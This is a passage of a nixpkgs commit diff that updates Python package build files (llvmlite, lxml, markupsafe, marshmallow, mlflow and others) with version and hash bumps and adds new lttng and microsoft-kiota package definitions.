a/pkgs/development/python-modules/llvmlite/default.nix b/pkgs/development/python-modules/llvmlite/default.nix index ac74a6e3403b4..2184236130edb 100644 --- a/pkgs/development/python-modules/llvmlite/default.nix +++ b/pkgs/development/python-modules/llvmlite/default.nix @@ -15,17 +15,16 @@ buildPythonPackage rec { pname = "llvmlite"; - version = "0.41.1"; + version = "0.42.0"; pyproject = true; - # uses distutils in setup.py - disabled = isPyPy || pythonAtLeast "3.12"; + disabled = isPyPy || pythonAtLeast "3.13"; src = fetchFromGitHub { owner = "numba"; repo = "llvmlite"; rev = "refs/tags/v${version}"; - hash = "sha256-RBgs8L5kOJ8BhEDLB8r8/iVhwuVIPT/rUSmwmBWm4D0="; + hash = "sha256-vN2npyAyN6C340l69YSRtRJrAe4EHSqh4SCgWfeSQaQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/losant-rest/default.nix b/pkgs/development/python-modules/losant-rest/default.nix index 6587f99d81186..3d14dbf313e09 100644 --- a/pkgs/development/python-modules/losant-rest/default.nix +++ b/pkgs/development/python-modules/losant-rest/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "losant-rest"; - version = "1.19.4"; + version = "1.19.5"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "Losant"; repo = "losant-rest-python"; rev = "v${version}"; - hash = "sha256-aVOviCeYi/oj1Xv7I0d4U+JBU0w3wbjORXOim/g5S7U="; + hash = "sha256-oYwbCpX2mD1RMk/0ymxaA8NF9kaJ+pGQdUKk3l5Jmrs="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/lttng/default.nix b/pkgs/development/python-modules/lttng/default.nix new file mode 100644 index 0000000000000..9cdb580fc474e --- /dev/null +++ b/pkgs/development/python-modules/lttng/default.nix @@ -0,0 +1,29 @@ +{ toPythonModule +, python +, lttng-tools +, swig2 +}: + +toPythonModule (lttng-tools.overrideAttrs ({ nativeBuildInputs ? [ ], configureFlags ? [ ], ... }: { + pname = "lttng"; + + nativeBuildInputs = nativeBuildInputs ++ [ swig2 ]; + + configureFlags = configureFlags ++ [ + "--enable-python-bindings" + # "--disable-bin-lttng" # The Python bindings depend on liblttng-ctl, which is only built when the binary is enabled. + "--disable-bin-lttng-consumerd" + "--disable-bin-lttng-crash" + "--disable-bin-lttng-relayd" + "--disable-bin-lttng-sessiond" + # "--disable-extras" # The Python bindings are an extra. + "--disable-man-pages" + ]; + + # Nix treats nativeBuildInputs specially for cross-compilation, but in this + # case, cross-compilation is accounted for explicitly. Using the variables + # ensures that the platform setup isn't messed with further. It also allows + # regular Python to be added in the future if it is ever needed. + PYTHON = "${python.pythonOnBuildForHost}/bin/python"; + PYTHON_CONFIG = "${python.pythonOnBuildForHost}/bin/python-config"; +})) diff --git a/pkgs/development/python-modules/lxmf/default.nix b/pkgs/development/python-modules/lxmf/default.nix index a9bdff4e46df9..2ce4565ecf829 100644 --- a/pkgs/development/python-modules/lxmf/default.nix +++ b/pkgs/development/python-modules/lxmf/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "lxmf"; - version = "0.3.9"; + version = "0.4.1"; pyproject = true; disabled = pythonOlder "3.7"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "markqvist"; repo = "lxmf"; rev = "refs/tags/${version}"; - hash = "sha256-nZDcSVHR8IKlGBa5ljd3MmgzUPvG7Hv76WRfXxMsndY="; + hash = "sha256-sEim7bCLLkHo6A1onbDQruyNigVKtim5DDAQI8CYUVo="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/lxml-stubs/default.nix b/pkgs/development/python-modules/lxml-stubs/default.nix index 8df03f5268967..abb0d17f3918e 100644 --- a/pkgs/development/python-modules/lxml-stubs/default.nix +++ b/pkgs/development/python-modules/lxml-stubs/default.nix @@ -1,35 +1,42 @@ { lib , buildPythonPackage , fetchFromGitHub -, setuptools -, pytestCheckHook -, pytest-mypy-plugins , lxml +, pytest-mypy-plugins +, pytestCheckHook +, setuptools }: buildPythonPackage rec { pname = "lxml-stubs"; - version = "0.4.0"; + version = "0.5.1"; pyproject = true; src = fetchFromGitHub { owner = "lxml"; repo = "lxml-stubs"; - rev = version; - hash = "sha256-RRH/taLtgaXOl0G/ve2Ad7Xy8WRDUG2/k26EFMv1PRM="; + rev = "refs/tags/${version}"; + hash = "sha256-OwaPnCr0vylhdAvMMUfGV6DjZEh7Q71pgMOt66urg5I="; }; nativeBuildInputs = [ setuptools ]; + propagatedBuildInputs = [ lxml ]; + nativeCheckInputs = [ pytestCheckHook pytest-mypy-plugins ]; + disabledTests = [ + # Output difference, https://github.com/lxml/lxml-stubs/issues/101 + "etree_element_iterchildren" + ]; + meta = with lib; { description = "Type stubs for the lxml package"; homepage = "https://github.com/lxml/lxml-stubs"; diff --git a/pkgs/development/python-modules/lxml/default.nix b/pkgs/development/python-modules/lxml/default.nix index 7cfef1d56cfd6..e6d7234a59ce0 100644 --- a/pkgs/development/python-modules/lxml/default.nix +++ b/pkgs/development/python-modules/lxml/default.nix @@ -1,5 +1,13 @@ -{ stdenv, lib, buildPythonPackage, fetchFromGitHub -, cython +{ stdenv +, lib +, buildPythonPackage +, fetchFromGitHub + +# build-system +, cython_3 +, setuptools + +# native dependencies , libxml2 , libxslt , zlib @@ -8,25 +16,30 @@ buildPythonPackage rec { pname = "lxml"; - version = "4.9.4"; - format = "setuptools"; + version = "5.1.0"; + pyproject = true; src = fetchFromGitHub { - owner = pname; - repo = pname; + owner = "lxml"; + repo = "lxml"; rev = "refs/tags/lxml-${version}"; - hash = "sha256-qS20wb83eFapiPZe25BViHpYkjgvnCIZpiYkPNIPHZg="; + hash = "sha256-eWLYzZWatYDmhuBTZynsdytlNFKKmtWQ1XIyzVD8sDY="; }; - patches = [ - # fix compile error with libxml 2.12 - # backport of: https://github.com/lxml/lxml/commit/b0861bea17769584a85f57eb00235ce0ca9811af - ./libxml-2.12.patch - ]; - # setuptoolsBuildPhase needs dependencies to be passed through nativeBuildInputs - nativeBuildInputs = [ libxml2.dev libxslt.dev cython ] ++ lib.optionals stdenv.isDarwin [ xcodebuild ]; - buildInputs = [ libxml2 libxslt zlib ]; + nativeBuildInputs = [ + libxml2.dev + libxslt.dev + cython_3 + setuptools + ] ++ lib.optionals stdenv.isDarwin [ + xcodebuild + ]; + buildInputs = [ + libxml2 + libxslt + zlib + ]; env = lib.optionalAttrs stdenv.cc.isClang { NIX_CFLAGS_COMPILE = "-Wno-error=incompatible-function-pointer-types"; @@ -35,9 +48,13 @@ buildPythonPackage rec { # tests are meant to be ran "in-place" in the same directory as src doCheck = false; - pythonImportsCheck = [ "lxml" "lxml.etree" ]; + pythonImportsCheck = [ + "lxml" + "lxml.etree" + ]; meta = with lib; { + changelog = "https://github.com/lxml/lxml/blob/lxml-${version}/CHANGES.txt"; description = "Pythonic binding for the libxml2 and libxslt libraries"; homepage = "https://lxml.de"; license = licenses.bsd3; diff --git a/pkgs/development/python-modules/markdown/default.nix b/pkgs/development/python-modules/markdown/default.nix index 4041a1aa3035b..d7be3fabfab72 100644 --- a/pkgs/development/python-modules/markdown/default.nix +++ b/pkgs/development/python-modules/markdown/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "markdown"; - version = "3.5.1"; + version = "3.5.2"; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "Python-Markdown"; repo = "markdown"; rev = "refs/tags/${version}"; - hash = "sha256-OeCr72N3ygYYJnI+bIXCt63tSLDFLKznYekTk1sYHZI="; + hash = "sha256-YLOLDiS93zpjJWzkWXcutjZw9iB/FfbjxQXjau2B+JQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/markupsafe/default.nix b/pkgs/development/python-modules/markupsafe/default.nix index e63af344a3a00..17f8ce118e5b1 100644 --- a/pkgs/development/python-modules/markupsafe/default.nix +++ b/pkgs/development/python-modules/markupsafe/default.nix @@ -1,28 +1,54 @@ { lib , buildPythonPackage -, pythonOlder , fetchPypi +, pythonOlder + +# build-system +, setuptools + +# tests , pytestCheckHook + +# reverse dependencies +, jinja2 +, mkdocs +, quart +, werkzeug }: buildPythonPackage rec { pname = "markupsafe"; - version = "2.1.3"; - format = "setuptools"; + version = "2.1.5"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { pname = "MarkupSafe"; inherit version; - hash = "sha256-r1mO0y1q6G8bdHuCeDlYsaSrj2F7Bv5oeVx/Amq73K0="; + hash = "sha256-0oPTeokLpMGuc/+t+ARkNcdue8Ike7tjwAvRpwnGVEs="; }; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook ]; - pythonImportsCheck = [ "markupsafe" ]; + pythonImportsCheck = [ + "markupsafe" + ]; + + passthru.tests = { + inherit + jinja2 + mkdocs + quart + werkzeug + ; + }; meta = with lib; { changelog = "https://markupsafe.palletsprojects.com/en/${versions.majorMinor version}.x/changes/#version-${replaceStrings [ "." ] [ "-" ] version}"; diff --git a/pkgs/development/python-modules/marshmallow-oneofschema/default.nix b/pkgs/development/python-modules/marshmallow-oneofschema/default.nix index 3e4faf8c60313..933f5cc4c8b91 100644 --- a/pkgs/development/python-modules/marshmallow-oneofschema/default.nix +++ b/pkgs/development/python-modules/marshmallow-oneofschema/default.nix @@ -4,26 +4,29 @@ , marshmallow , pytestCheckHook , pythonOlder -, setuptools +, flit-core }: buildPythonPackage rec { pname = "marshmallow-oneofschema"; - version = "3.0.2"; - format = "setuptools"; + version = "3.1.1"; + pyproject = true; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "marshmallow-code"; - repo = pname; - rev = version; - hash = "sha256-Em2jQmvI5IiWREeOX/JAcdOQlpwP7k+cbCirkh82sf0="; + repo = "marshmallow-oneofschema"; + rev = "refs/tags/${version}"; + hash = "sha256-HXuyUxU8bT5arpUzmgv7m+X2fNT0qHY8S8Rz6klOGiA="; }; + nativeBuildInputs = [ + flit-core + ]; + propagatedBuildInputs = [ marshmallow - setuptools ]; nativeCheckInputs = [ @@ -35,8 +38,8 @@ buildPythonPackage rec { ]; meta = with lib; { - changelog = "https://github.com/marshmallow-code/marshmallow-oneofschema/blob/${src.rev}/CHANGELOG.rst"; description = "Marshmallow library extension that allows schema (de)multiplexing"; + changelog = "https://github.com/marshmallow-code/marshmallow-oneofschema/blob/${version}/CHANGELOG.rst"; homepage = "https://github.com/marshmallow-code/marshmallow-oneofschema"; license = licenses.mit; maintainers = with maintainers; [ ivan-tkatchev ]; diff --git a/pkgs/development/python-modules/marshmallow/default.nix b/pkgs/development/python-modules/marshmallow/default.nix index 880e3c869aabf..bbb336884c192 100644 --- a/pkgs/development/python-modules/marshmallow/default.nix +++ b/pkgs/development/python-modules/marshmallow/default.nix @@ -1,17 +1,17 @@ { lib , buildPythonPackage , fetchFromGitHub +, flit-core +, packaging , pytestCheckHook , pythonOlder , pytz , simplejson -, packaging -, setuptools }: buildPythonPackage rec { pname = "marshmallow"; - version = "3.20.2"; + version = "3.21.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,11 +20,11 @@ buildPythonPackage rec { owner = "marshmallow-code"; repo = "marshmallow"; rev = "refs/tags/${version}"; - hash = "sha256-z6Quf6uTelGwB/uYayVXtVmculwaoI5LL8I0kKiM/e8="; + hash = "sha256-KhXasYKooZRokRoFlWKOaQzSUe6tXDtUlrf65eGGUi8="; }; nativeBuildInputs = [ - setuptools + flit-core ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/md-toc/default.nix b/pkgs/development/python-modules/md-toc/default.nix index 18aeac19b3caa..7789104db8923 100644 --- a/pkgs/development/python-modules/md-toc/default.nix +++ b/pkgs/development/python-modules/md-toc/default.nix @@ -5,22 +5,27 @@ , pyfakefs , pytestCheckHook , pythonOlder +, setuptools }: buildPythonPackage rec { pname = "md-toc"; - version = "8.2.2"; - format = "setuptools"; + version = "8.2.3"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "frnmst"; - repo = pname; - rev = version; - hash = "sha256-fL3JlZWTEEinYILNeHw0cuvVza27atLLxjrBZkVLRiU="; + repo = "md-toc"; + rev = "refs/tags/${version}"; + hash = "sha256-nKkKtLEW0pohXiMtjWl2Kzh7SRwZJ/yzhXpDyluLodc="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ fpyutils ]; diff --git a/pkgs/development/python-modules/mdformat-admon/default.nix b/pkgs/development/python-modules/mdformat-admon/default.nix index 3db893042d885..cbd95d35fbf35 100644 --- a/pkgs/development/python-modules/mdformat-admon/default.nix +++ b/pkgs/development/python-modules/mdformat-admon/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "mdformat-admon"; - version = "1.0.2"; + version = "2.0.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -18,8 +18,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "KyleKing"; repo = "mdformat-admon"; - rev = "v${version}"; - hash = "sha256-33Q3Re/axnoOHZ9XYA32mmK+efsSelJXW8sD7C1M/jU="; + rev = "refs/tags/v${version}"; + hash = "sha256-MRcNExMPH/HIXB2DmN9fA89plo0IZPWXryySK9OZHg8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/meraki/default.nix b/pkgs/development/python-modules/meraki/default.nix index 53d44ee85d749..cecddbb6eec92 100644 --- a/pkgs/development/python-modules/meraki/default.nix +++ b/pkgs/development/python-modules/meraki/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "meraki"; - version = "1.42.0"; + version = "1.43.0"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-PZ875cjJUUE92aBoKfgQ3tY8tVN3ksB7nITc8MK0g+w="; + hash = "sha256-llKC5bBVDlSfVDML0a9HEijM+3H5pQVuLxdukJ6sPR0="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/meshio/default.nix b/pkgs/development/python-modules/meshio/default.nix index 2d86a55bd2462..313c1bd0920e3 100644 --- a/pkgs/development/python-modules/meshio/default.nix +++ b/pkgs/development/python-modules/meshio/default.nix @@ -12,12 +12,12 @@ buildPythonPackage rec { pname = "meshio"; - version = "5.3.4"; + version = "5.3.5"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-4kBpLX/yecErE8bl17QDYpqGrStE6SMJWLPwDB7DafA="; + hash = "sha256-8h8Bq9nym6BuoRkwSz055hBCHP6Tud0jNig0kZ+HWG0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/meshtastic/default.nix b/pkgs/development/python-modules/meshtastic/default.nix index 625f87803c2ed..bbc125443e3a1 100644 --- a/pkgs/development/python-modules/meshtastic/default.nix +++ b/pkgs/development/python-modules/meshtastic/default.nix @@ -21,7 +21,7 @@ buildPythonPackage rec { pname = "meshtastic"; - version = "2.2.21"; + version = "2.2.22"; pyproject = true; disabled = pythonOlder "3.7"; @@ -30,7 +30,7 @@ buildPythonPackage rec { owner = "meshtastic"; repo = "Meshtastic-python"; rev = "refs/tags/${version}"; - hash = "sha256-qmzPtHAw4hzHDOLA8RT1VqAOjI287oxYNVT2t8sspVw="; + hash = "sha256-bAg7Rr17Q+a+S0ZuHcFmmTM0sRcX2w0zRClKdFwix30="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/microsoft-kiota-abstractions/default.nix b/pkgs/development/python-modules/microsoft-kiota-abstractions/default.nix new file mode 100644 index 0000000000000..1ffc27845241a --- /dev/null +++ b/pkgs/development/python-modules/microsoft-kiota-abstractions/default.nix @@ -0,0 +1,55 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, flit-core +, opentelemetry-api +, opentelemetry-sdk +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, pythonOlder +, std-uritemplate +}: + +buildPythonPackage rec { + pname = "microsoft-kiota-abstractions"; + version = "1.3.1"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "microsoft"; + repo = "kiota-abstractions-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-AsJHKoA50JZBDQ7vob4lI0gEmfhRUELKtgq17tHegUY="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + opentelemetry-api + opentelemetry-sdk + std-uritemplate + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytest-mock + pytestCheckHook + ]; + + pythonImportsCheck = [ + "kiota_abstractions" + ]; + + meta = with lib; { + description = "Abstractions library for Kiota generated Python clients"; + homepage = "https://github.com/microsoft/kiota-abstractions-python"; + changelog = "https://github.com/microsoft/kiota-abstractions-python/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/microsoft-kiota-authentication-azure/default.nix b/pkgs/development/python-modules/microsoft-kiota-authentication-azure/default.nix new file mode 100644 index 0000000000000..5526fab6ceaec --- /dev/null +++ b/pkgs/development/python-modules/microsoft-kiota-authentication-azure/default.nix @@ -0,0 +1,59 @@ +{ lib +, aiohttp +, azure-core +, buildPythonPackage +, fetchFromGitHub +, flit-core +, microsoft-kiota-abstractions +, opentelemetry-api +, opentelemetry-sdk +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, pythonOlder +}: + +buildPythonPackage rec { + pname = "microsoft-kiota-authentication-azure"; + version = "1.0.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "microsoft"; + repo = "kiota-authentication-azure-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-RA0BbIwDs3cXiH4tQsvCGUO1OAg+DWjEeWd7MEVIC8E="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + aiohttp + azure-core + microsoft-kiota-abstractions + opentelemetry-api + opentelemetry-sdk + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytest-mock + pytestCheckHook + ]; + + pythonImportsCheck = [ + "kiota_authentication_azure" + ]; + + meta = with lib; { + description = "Kiota Azure authentication provider"; + homepage = "https://github.com/microsoft/kiota-authentication-azure-python"; + changelog = "https://github.com/microsoft/kiota-authentication-azure-python/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/microsoft-kiota-http/default.nix b/pkgs/development/python-modules/microsoft-kiota-http/default.nix new file mode 100644 index 0000000000000..a84613b82e3b2 --- /dev/null +++ b/pkgs/development/python-modules/microsoft-kiota-http/default.nix @@ -0,0 +1,59 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, flit-core +, httpx +, microsoft-kiota-abstractions +, opentelemetry-api +, opentelemetry-sdk +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, pythonOlder +, urllib3 +}: + +buildPythonPackage rec { + pname = "microsoft-kiota-http"; + version = "1.3.1"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "microsoft"; + repo = "kiota-http-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-I16WARk6YBr8KgE9MtHcA5VdsnLXBKcZOaqRL/eqwKE="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + httpx + microsoft-kiota-abstractions + opentelemetry-api + opentelemetry-sdk + ] ++ httpx.optional-dependencies.http2; + + nativeCheckInputs = [ + pytest-asyncio + pytest-mock + pytestCheckHook + urllib3 + ]; + + pythonImportsCheck = [ + "kiota_http" + ]; + + meta = with lib; { + description = "HTTP request adapter implementation for Kiota clients for Python"; + homepage = "https://github.com/microsoft/kiota-http-python"; + changelog = "https://github.com/microsoft/kiota-http-python/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/microsoft-kiota-serialization-json/default.nix b/pkgs/development/python-modules/microsoft-kiota-serialization-json/default.nix new file mode 100644 index 0000000000000..40840436fa015 --- /dev/null +++ b/pkgs/development/python-modules/microsoft-kiota-serialization-json/default.nix @@ -0,0 +1,58 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, flit-core +, microsoft-kiota-abstractions +, pendulum +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, pythonOlder +}: + +buildPythonPackage rec { + pname = "kiota-serialization-json"; + version = "1.0.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "microsoft"; + repo = "kiota-serialization-json-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-DhuDIRTm6xATnXpQ+xLpMuaBcWxZHdr8dO1Rl8OvCKQ="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + microsoft-kiota-abstractions + pendulum + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytest-mock + pytestCheckHook + ]; + + pythonImportsCheck = [ + "kiota_serialization_json" + ]; + + disabledTests = [ + # Test compare an output format + "test_parse_union_type_complex_property1" + ]; + + meta = with lib; { + description = "JSON serialization implementation for Kiota clients in Python"; + homepage = "https://github.com/microsoft/kiota-serialization-json-python"; + changelog = "https://github.com/microsoft/kiota-serialization-json-python/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/microsoft-kiota-serialization-text/default.nix b/pkgs/development/python-modules/microsoft-kiota-serialization-text/default.nix new file mode 100644 index 0000000000000..64e00d4778757 --- /dev/null +++ b/pkgs/development/python-modules/microsoft-kiota-serialization-text/default.nix @@ -0,0 +1,53 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, flit-core +, microsoft-kiota-abstractions +, pytest-asyncio +, pytest-mock +, pytestCheckHook +, python-dateutil +, pythonOlder +}: + +buildPythonPackage rec { + pname = "kiota-serialization-text"; + version = "1.0.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "microsoft"; + repo = "kiota-serialization-text-python"; + rev = "refs/tags/v${version}"; + hash = "sha256-jPuRfvqO4n5/PjSOS5NMCawaYRhXmrZtfg6LgYFCv7o="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + microsoft-kiota-abstractions + python-dateutil + ]; + + nativeCheckInputs = [ + pytest-asyncio + pytest-mock + pytestCheckHook + ]; + + pythonImportsCheck = [ + "kiota_serialization_text" + ]; + + meta = with lib; { + description = "Text serialization implementation for Kiota generated clients in Python"; + homepage = "https://github.com/microsoft/kiota-serialization-text-python"; + changelog = "https://github.com/microsoft/kiota-serialization-text-python/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/mitmproxy/default.nix b/pkgs/development/python-modules/mitmproxy/default.nix index 4dd3baeb614c6..64b6602e04eca 100644 --- a/pkgs/development/python-modules/mitmproxy/default.nix +++ b/pkgs/development/python-modules/mitmproxy/default.nix @@ -45,7 +45,7 @@ buildPythonPackage rec { pname = "mitmproxy"; - version = "10.2.2"; + version = "10.2.3"; pyproject = true; disabled = pythonOlder "3.9"; @@ -54,7 +54,7 @@ buildPythonPackage rec { owner = "mitmproxy"; repo = "mitmproxy"; rev = "refs/tags/${version}"; - hash = "sha256-oxhpaFW++on3eRXm0anXZDRo6g/X5IflTcZkFF8Kcps="; + hash = "sha256-hlZ5d4J3SDQp80C8lhwZkms/rc0uj8LslRmBqB5eIEw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mizani/default.nix b/pkgs/development/python-modules/mizani/default.nix index d87d5af94e256..f54c018212405 100644 --- a/pkgs/development/python-modules/mizani/default.nix +++ b/pkgs/development/python-modules/mizani/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "mizani"; - version = "0.9.3"; + version = "0.11.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "has2k1"; repo = "mizani"; rev = "refs/tags/v${version}"; - hash = "sha256-gZwM8/9ipcA73m1sPCz9oxD7cndli+qX9+gLILdbq1A="; + hash = "sha256-4xk8FCUiNOp5n512asYKcjAS7fsyExyMQiWg14XWwHY="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mkdocs-git-revision-date-localized-plugin/default.nix b/pkgs/development/python-modules/mkdocs-git-revision-date-localized-plugin/default.nix index 9797c226b141d..c885727a25384 100644 --- a/pkgs/development/python-modules/mkdocs-git-revision-date-localized-plugin/default.nix +++ b/pkgs/development/python-modules/mkdocs-git-revision-date-localized-plugin/default.nix @@ -12,7 +12,7 @@ buildPythonPackage rec { pname = "mkdocs-git-revision-date-localized-plugin"; - version = "1.2.2"; + version = "1.2.4"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -21,7 +21,7 @@ buildPythonPackage rec { owner = "timvink"; repo = "mkdocs-git-revision-date-localized-plugin"; rev = "refs/tags/v${version}"; - hash = "sha256-6qLVmmJzMTrvuoeSVUjWqmI6f5MbAFWAj36v2l3ZeD8="; + hash = "sha256-sN3cuRjB3zkwp0xYoH20IJ8edXqi5rw66e3N4DuNqVU="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/mkdocs-material/default.nix b/pkgs/development/python-modules/mkdocs-material/default.nix index 317271a10d559..0aeb5cbe34214 100644 --- a/pkgs/development/python-modules/mkdocs-material/default.nix +++ b/pkgs/development/python-modules/mkdocs-material/default.nix @@ -32,7 +32,7 @@ buildPythonPackage rec { pname = "mkdocs-material"; - version = "9.5.6"; + version = "9.5.13"; pyproject = true; disabled = pythonOlder "3.7"; @@ -41,7 +41,7 @@ buildPythonPackage rec { owner = "squidfunk"; repo = "mkdocs-material"; rev = "refs/tags/${version}"; - hash = "sha256-t+kS/MZ6kfga+LPSBj0h+vkY/u/bd3iqRUyOHXfrwDU="; + hash = "sha256-SFLCNFJNlyJ09d4VsWsxdw7Ctyv1pFHXdqPgBflH294="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/mkdocstrings/default.nix b/pkgs/development/python-modules/mkdocstrings/default.nix index 219f0e63c7b1f..39f18a39b0050 100644 --- a/pkgs/development/python-modules/mkdocstrings/default.nix +++ b/pkgs/development/python-modules/mkdocstrings/default.nix @@ -16,7 +16,7 @@ buildPythonPackage rec { pname = "mkdocstrings"; - version = "0.24.0"; + version = "0.24.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -25,7 +25,7 @@ buildPythonPackage rec { owner = "mkdocstrings"; repo = "mkdocstrings"; rev = "refs/tags/${version}"; - hash = "sha256-UqX2jNNYwDNhb71qGdjHNoo2MmSxjf/bZiUoSxlE2XQ="; + hash = "sha256-6Th/HckxcCIupQWQglK+4ReXB6sdIDE8/nWgP42iqIQ="; }; postPatch = '' diff --git a/pkgs/development/python-modules/mkl-service/default.nix b/pkgs/development/python-modules/mkl-service/default.nix index b6d308ee21355..991c6e8813c39 100644 --- a/pkgs/development/python-modules/mkl-service/default.nix +++ b/pkgs/development/python-modules/mkl-service/default.nix @@ -2,14 +2,14 @@ buildPythonPackage rec { pname = "mkl-service"; - version = "2.4.0.post1"; + version = "2.4.1"; format = "setuptools"; src = fetchFromGitHub { owner = "IntelPython"; repo = "mkl-service"; - rev = "v${version}"; - sha256 = "0ysjn8z1hkscb4cycbrvcb93r04w5793yylsy40h5dvjd04ns5jc"; + rev = "refs/tags/v${version}"; + sha256 = "sha256-4UPiQt1hVVlPFZnuKlMK3FLv2cIEXToHKxnyYLXR/sY="; }; MKLROOT = mkl; diff --git a/pkgs/development/python-modules/mlflow/default.nix b/pkgs/development/python-modules/mlflow/default.nix index d13831de33015..1ec7760eaeb7c 100644 --- a/pkgs/development/python-modules/mlflow/default.nix +++ b/pkgs/development/python-modules/mlflow/default.nix @@ -38,14 +38,14 @@ buildPythonPackage rec { pname = "mlflow"; - version = "2.8.1"; + version = "2.10.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-5OW90tnvsLOG7Lzi335D8ExGoyCAIIQU3FO1/XFVlng="; + hash = "sha256-Pd8yuiwB2seeTQd9S7ntRtgqCC3JkiMgfVYsfua+5nE="; }; postPatch = '' diff --git a/pkgs/development/python-modules/mmengine/default.nix b/pkgs/development/python-modules/mmengine/default.nix index dd4e9095325fa..347d22d569e05 100644 --- a/pkgs/development/python-modules/mmengine/default.nix +++ b/pkgs/development/python-modules/mmengine/default.nix @@ -69,6 +69,10 @@ buildPythonPackage rec { disabledTestPaths = [ # AttributeError "tests/test_fileio/test_backends/test_petrel_backend.py" + # Freezes forever? + "tests/test_runner/test_activation_checkpointing.py" + # missing dependencies + "tests/test_visualizer/test_vis_backend.py" ]; disabledTests = [ diff --git a/pkgs/development/python-modules/mobi/default.nix b/pkgs/development/python-modules/mobi/default.nix index fae5b97bb1145..3241eab8cafc2 100644 --- a/pkgs/development/python-modules/mobi/default.nix +++ b/pkgs/development/python-modules/mobi/default.nix @@ -1,10 +1,10 @@ { lib , buildPythonPackage -, pythonOlder , fetchFromGitHub - , loguru , poetry-core +, pythonOlder +, pythonRelaxDepsHook , setuptools }: @@ -18,13 +18,18 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "iscc"; repo = "mobi"; - rev = "v${version}"; + rev = "refs/tags/v${version}"; hash = "sha256-g1L72MkJdrKQRsEdew+Qsn8LfCn8+cmj2pmY6s4nv2U="; }; + pythonRelaxDeps = [ + "loguru" + ]; + nativeBuildInputs = [ - setuptools poetry-core + pythonRelaxDepsHook + setuptools ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/mockito/default.nix 